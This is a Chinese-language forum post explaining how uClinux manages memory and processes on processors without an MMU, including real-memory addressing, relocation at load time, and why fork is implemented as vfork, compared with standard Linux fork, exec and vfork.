虚存系统并不是没有代价的。内存管理需要地址转换表和其他一些数据结构,留给程序的内存减少了。地址转换增加了每一条指令的执行时间,而对于有额外内存操作的指令会更严重。当进程访问不在内存的页面时,系统发生失效。系统处理该失效,并将页面加载到内存中,这需要极耗时间的磁盘I/O操作。总之内存管理活动占用了相当一部分cpu时间(在较忙的系统中大约占10%)。

uClinux针对NOMMU的特殊处理

对于uClinux来说,其设计针对没有MMU的处理器,即uClinux不能使用处理器的虚拟内存管理技术(应该说这种不带有MMU的处理器在嵌入式设备中相当普偏)。uClinux仍然采用存储器的分页管理,系统在启动时把实际存储器进行分页。在加载应用程序时程序分页加载。但是由于没有MMU管理,所以实际上uClinux采用实存储器管理策略(real memeory management)。这一点影响了系统工作的很多方面。

uClinux系统对于内存的访问是直接的,(它对地址的访问不需要经过MMU,而是直接送到地址线上输出),所有程序中访问的地址都是实际的物理地址。操作系统对内存空间没有保护(这实际上是很多嵌入式系统的特点),各个进程实际上共享一个运行空间(没有独立的地址转换表)。

一个进程在执行前,系统必须为进程分配足够的连续地址空间,然后全部载入主存储器的连续空间中。与之相对应的是标准Linux系统在分配内存时没有必要保证实际物理存储空间是连续的,而只要保证虚存地址空间连续就可以了。另外一个方面程序加载地址与预期(ld文件中指出的)通常都不相同,这样relocation过程就是必须的。此外磁盘交换空间也是无法使用的,系统执行时如果缺少内存将无法通过磁盘交换来得到改善。

uClinux对内存的管理减少同时就给开发人员提出了更高的要求。如果从易用性这一点来说,uClinux的内存管理是一种倒退,退回了到了UNIX早期或是Dos系统时代。开发人员不得不参与系统的内存管理。从编译内核开始,开发人员必须告诉系统这块开发板到底拥有多少的内存(假如你欺骗了系统,那将在后面运行程序时受到惩罚),从而系统将在启动的初始化阶段对内存进行分页,并且标记已使用的和未使用的内存。系统将在运行应用时使用这些分页内存。

由于应用程序加载时必须分配连续的地址空间,而针对不同硬件平台的可一次成块(连续地址)分配内存大小限制是不同(目前针对ez328处理器的uClinux是128k,而针对coldfire处理器的系统内存则无此限制),所以开发人员在开发应用程序时必须考虑内存的分配情况并关注应用程序需要运行空间的大小。另外由于采用实存储器管理策略,用户程序同内核以及其它用户程序在一个地址空间,程序开发时要保证不侵犯其它程序的地址空间,以使得程序不至于破坏系统的正常工作,或导致其它程序的运行异常。

从内存的访问角度来看,开发人员的权利增大了(开发人员在编程时可以访问任意的地址空间),但与此同时系统的安全性也大为下降。此外,系统对多进程的管理将有很大的变化,这一点将在uClinux的多进程管理中说明。

虽然uClinux的内存管理与标准Linux系统相比功能相差很多,但应该说这是嵌入式设备的选择。在嵌入式设备中,由于成本等敏感因素的影响,普偏的采用不带有MMU的处理器,这决定了系统没有足够的硬件支持实现虚拟存储管理技术。从嵌入式设备实现的功能来看,嵌入式设备通常在某一特定的环境下运行,只要实现特定的功能,其功能相对简单,内存管理的要求完全可以由开发人员考虑。

标准Linux系统的进程、线程

进程:进程是一个运行程序并为其提供执行环境的实体,它包括一个地址空间和至少一个控制点,进程在这个地址空间上执行单一指令序列。进程地址空间包括可以访问或引用的内存单元的集合,进程控制点通过一个一般称为程序计数器(program counter,PC)的硬件寄存器控制和跟踪进程指令序列。

fork:由于进程为执行程序的环境,因此在执行程序前必须先建立这个能"跑"程序的环境。Linux系统提供系统调用拷贝现行进程的内容,以产生新的进程,调用fork的进程称为父进程;而所产生的新进程则称为子进程。子进程会承袭父进程的一切特性,但是它有自己的数据段,也就是说,尽管子进程改变了所属的变量,却不会影响到父进程的变量值。

父进程和子进程共享一个程序段,但是各自拥有自己的堆栈、数据段、用户空间以及进程控制块。换言之,两个进程执行的程序代码是一样的,但是各有各的程序计数器与自己的私人数据。

当内核收到fork请求时,它会先查核三件事:首先检查存储器是不是足够;其次是进程表是否仍有空缺;最后则是看看用户是否建立了太多的子进程。如果上述说三个条件满足,那么操作系统会给子进程一个进程识别码,并且设定cpu时间,接着设定与父进程共享的段,同时将父进程的inode拷贝一份给子进程运用,最终子进程会返回数值0以表示它是子进程,至于父进程,它可能等待子进程的执行结束,或与子进程各做个的。

exec系统调用:该系统调用提供一个进程去执行另一个进程的能力,exec系统调用是采用覆盖旧有进程存储器内容的方式,所以原来程序的堆栈、数据段与程序段都会被修改,只有用户区维持不变。

vfork系统调用:由于在使用fork时,内核会将父进程拷贝一份给子进程,但是这样的做法相当浪费时间,因为大多数的情形都是程序在调用fork后就立即调用exec,这样刚拷贝来的进程区域又立即被新的数据覆盖掉。因此Linux系统提供一个系统调用vfork,vfork假定系统在调用完成vfork后会马上执行exec,因此vfork不拷贝父进程的页面,只是初始化私有的数据结构与准备足够的分页表。这样实际在vfork调用完成后父子进程事实上共享同一块存储器(在子进程调用exec或是exit之前),因此子进程可以更改父进程的数据及堆栈信息,因此vfork系统调用完成后,父进程进入睡眠,直到子进程执行exec。当子进程执行exec时,由于exec要使用被执行程序的数据,代码覆盖子进程的存储区域,这样将产生写保护错误(do_wp_page)(这个时候子进程写的实际上是父进程的存储区域),这个错误导致内核为子进程重新分配存储空间。当子进程正确开始执行后,将唤醒父进程,使得父进程继续往后执行。

uClinux的多进程处理

uClinux没有mmu管理存储器,在实现多个进程时(fork调用生成子进程)需要实现数据保护。

uClinux的fork和vfork:uClinux的fork等于vfork。实际上uClinux的多进程管理通过vfork来实现。这意味着uClinux系统fork调用完程后,要么子进程代替父进程执行(此时父进程已经sleep)直到子进程调用exit退出,要么调用exec执行一个新的进程,这个时候将产生可执行文件的加载,即使这个进程只是父进程的拷贝,这个过程也不能避免。当子进程执行exit或exec后,子进程使用wakeup把父进程唤醒,父进程继续往下执行。

uClinux的这种多进程实现机制同它的内存管理紧密相关。uClinux针对nommu处理器开发,所以被迫使用一种flat方式的内存管理模式,启动新的应用程序时系统必须为应用程序分配存储空间,并立即把应用程序加载到内存。缺少了MMU的内存重映射机制,uClinux必须在可执行文件加载阶段对可执行文件reloc处理,使得程序执行时能够直接使用物理内存。

2005/3/24 23:38
应用扩展 工具箱


白云深处
新进会员
注册日期:
1970/1/1 8:00
所属群组:
注册会员
帖子: 1
等级: 1; EXP: 0
HP : 0 / 0
MP : 0 / 0
离线
[swf=1000,500]http://act2.comic.sohu.com/photos/64/212764.swf[/swf]

2005/3/24 13:33
应用扩展 工具箱



(1) 2 3 4 5 »





系统导航

 

Copyright © 2001-2010 安信网络. All Rights Reserved
京ICP备05056747号